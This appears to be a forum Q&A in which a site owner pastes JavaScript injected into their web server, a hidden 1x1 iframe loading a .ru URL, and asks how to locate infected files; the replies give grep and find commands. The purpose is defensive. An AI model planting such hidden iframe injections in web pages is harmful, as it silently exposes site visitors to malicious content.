mjhjmtu

One of my website on my webserver has suffered an attack : code injection.

Here is the malicious code :

<script type="text/javascript" language="javascript">
(function () 
 var t = document.createElement('iframe'); 
 t.src = 'http://ahtiagge.ru/count27.php'; 
 t.style.position = 'absolute'; 
 t.style.border = '0'; 
 t.style.height = '1px'; 
 t.style.width = '1px'; 
 t.style.left = '1px'; 
 t.style.top = '1px'; 
 if (!document.getElementById('t')) 
 document.write('<div id='t'></div>');
 document.getElementById('t').appendChild(t); 
 
 )
();</script>

I want to know the name (and path) of all files coutains the expression on my server to stanch the contagion. Here is the expression i want to match :'http://ahtiagge.ru/count27.php'

I would like results like that :

/var/www/vhosts/site1.com/httpdocs/index.php
/var/www/vhosts/site1.com/httpdocs/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/and_sub/fileN.php

How can I solve this with a shell script ? is it possible ?

You can simply use grep for the same

grep -RP "http://ahtiagge.ru/count27.php" /var/www/vhosts/

or only check in *.php files only with the help of find

find /var/www/vhosts/ -name "*.php" -print | xargs grep -P "http://ahtiagge.ru/count27.php"

I like this command:

grep -i -n -I -H -R --include="*.php" -E "some_expression" .

Cheers.